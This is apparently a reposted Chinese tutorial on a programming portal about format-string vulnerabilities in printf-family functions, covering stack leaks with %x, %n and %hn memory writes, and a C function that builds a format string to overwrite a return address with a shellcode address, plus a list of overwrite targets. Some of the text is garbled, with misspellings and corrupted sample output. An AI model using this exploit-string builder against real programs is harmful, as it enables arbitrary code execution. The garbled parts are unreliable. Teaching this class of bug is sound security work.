程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> C++入門知識 >> 格式化字符串漏

格式化字符串漏

編輯:C++入門知識

當printf系列函數的格式化串裡包含用戶提交的數據時,就有可能出現格式化串漏洞。 函數包括:
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
除了這呰函數外,其他接受C風格格式符的函數也可能存在類似風險,例如wind0ws上的wprintf函數。攻擊者可能提交許多格式符(而不提供對應的變量),這樣的話,棧上就沒有和格式符相對應的參數,因此,系統就會用棧上的其他數據代替這些參數,從而導致信息洩漏和執行任意代碼。
如前文所述,必須以格式化串的形式傳遞printf函數,好讓printf函數確定用什麼變量代替相應的格式化串,以及用什麼形式輸出變量。
然而,如果我們不給格式化串(格式符)提供相應的變最,將會出現奇怪的事情。例如下面這個程序,它將用命令行的參數調用printf。


按如下所示編譯代碼: cc fmC.c -o fmt 用如下的形式執行:
./fmt "%x %x %x %x"
將等同於在程序裡用如下的形式調用printf:
printf( '%x %x %x %x");
上面的語句透露出一個重要的信息:我們提交了格式化串,卻沒有提供相應的代替字符串的 4個數字變最。有趣的是printf並沒有報錯,而是輸出如下內容:
4015c98c 4001S26c bffff944 bffffSe8
口printf不知從什麼地方找來了4個參數充數!事實上,這些數據來自棧。
乍看上去這似乎不是什麼問題,然而,攻擊者卻可能利用它來獲取棧上的數據。對棧本身來說這可能洩露棧上的敏感信息,如用戶名、密碼等。


n% 這個參數被視為指向整數的指針(或者整數變量,例如short,在這個參數之前輸出 的宇符的數量將被保存到這個參數指向的地址裡


如果滿足下列條件,就可以利用格式化串漏洞執行任意代碼。
我們能控制參數,並可以把輸出的字符的數量寫入內存的任意區域^
寬度格式符允許我們用任意的長度(當然可以為255個字符)填充輸出因此,可以用選擇的值改寫單個字節.
重復上面步騵4次的話,就能改寫內存中的任意48,也就是說,攻擊者可以利用這個 方法改寫內存地址。但是,如果把00寫到內存地址中,可能會出問題,因為在C語言裡00是終止符。然而,如果可以在它前面的地址寫入28,那就冇可能規避這個問題。 
通常來說,我們可以猜測函數指針的地址(保存的返回地址、二進制文件的導入表、C++ vtable),因此,我們可以促成系統把提交的字符串當作代碼來執行。
關於格式化串攻擊,有幾個常見的誤區需要澄清^
它們不僅僅影響*nix。
它們不必非要以棧為基礎。
棧保護機制對它們通常不起作用。
用靜態代碼分析工具通常可以檢測它們。

在絕大多數*nix平台上,可以用直接參數訪問來幫忙。 注意上面的輸出,從找上彈出的第三個值。
試一下下面這條命令:"%3\$x"


但是如果打印很久的數據會出錯%hn能夠解決這個阏題. 它只寫半個整型,兩個字節,那麼就可以把shellcode地址分成兩個部分.依次寫入到 要覆蓋的地址以及這個地址加2的位置.這樣要打印的長度將減少很多.


報據上面調整的結果,可以構造一個所示的結構的格式串來實現攻擊.,
| retloc+2 |retloc | % shaddrh-8 x| % flag $hn丨% shaddrl-shaddrh x丨 %flag+1 $hn丨

構造攻擊格式串
由用shellcode的地址的半字構造打印長度來寫入返回地址,那麼必須注意要把小一些 的半字放在前曲,這樣才能順利覆蓋返回地址。用於構建這種格式串的函數流程大致如下
void mkfmt(char *fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
    int i;
    unsigned int valh;
    unsigned int vall;
    unsigned int b0 = (retloc >> 24) & 0xff;
    unsigned int b1 = (retloc >> 16) & 0xff;
    unsigned int b2 = (retloc >>  8) & 0xff;
    unsigned int b3 = (retloc      ) & 0xff;

 


    /* detailing the value */
    valh = (shaddr >> 16) & 0xffff; //top
    vall = shaddr & 0xffff;         //bottom
/*
    for (i = 0; i < align; i++) {
        *fmtstr++ = 0x41;
    }
*/
    /* let's build */
    if (valh < vall) {
        sprintf(fmtstr,
                "%c%c%c%c"           /* high address */
                "%c%c%c%c"           /* low address */
                "%%%uc"              /* set the value for the first %hn */
                "%%%d$hn"            /* the %hn for the high part */
                "%%%uc"              /* set the value for the second %hn */
                "%%%d$hn"            /* the %hn for the low part */
                ,
                b3+2, b2, b1, b0,    /* high address */
                b3, b2, b1, b0,      /* low address */
                valh-8,              /* set the value for the first %hn */
                flag,                /* the %hn for the high part */
                vall-valh,           /* set the value for the second %hn */
                flag+1               /* the %hn for the low part */
               );
    } else {
        sprintf(fmtstr,
                "%c%c%c%c"           /* high address */
                "%c%c%c%c"           /* low address */
                "%%%uc"              /* set the value for the first %hn */
                "%%%d$hn"            /* the %hn for the high part */
                "%%%uc"              /* set the value for the second %hn */
                "%%%d$hn"            /* the %hn for the low part */
                ,                                                            
                b3+2, b2, b1, b0,    /* high address */
                b3, b2, b1, b0,      /* low address */
                vall-8,              /* set the value for the first %hn */
                flag+1,              /* the %hn for the high part */
                valh-vall,           /* set the value for the second %hn */
                flag                 /* the %hn for the low part */
               );
    }


//*
    for (i = 0; i < align; i++) {
        strcat(fmtstr, "A");
    }
//*/
}


示例的程序有些特別,由於格式串並不是復制過去的,所以對齊字符串要放在格式串的後面。格式串漏洞利用的要素是以下幾點:
• 覆蓋獲得控制的地址
• printf參數地址到自定義的格式串數據地址直接的距離
• 格式串數據沒有4字節對齊的偏移
• Shellcode 地址
可以用來覆蓋獲得控制的地址有以下幾種:
全局偏移表(GOT)(動態重定位對函數,如果某些人使用的二進制文件與你的一樣,那 就太好了,比如rpm:
析構函數(DTORS)表(函數在退出前將調用析構函數);
C函數庫鉤子,
atexit結構;
所有其他的函數指針,例如C ++ vtable、冋調函數等;
windows裡默認未處理的異常處理程序,它幾乎總是在同一地址
堆棧中的函數返回地址
覆蓋 dl_lookup_versioned_symbol
其實搏蓋dl_lookup_versioned_symbol也是覆蓋GOT技術.只不過是ld的GOT。
  

 

 

 


 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved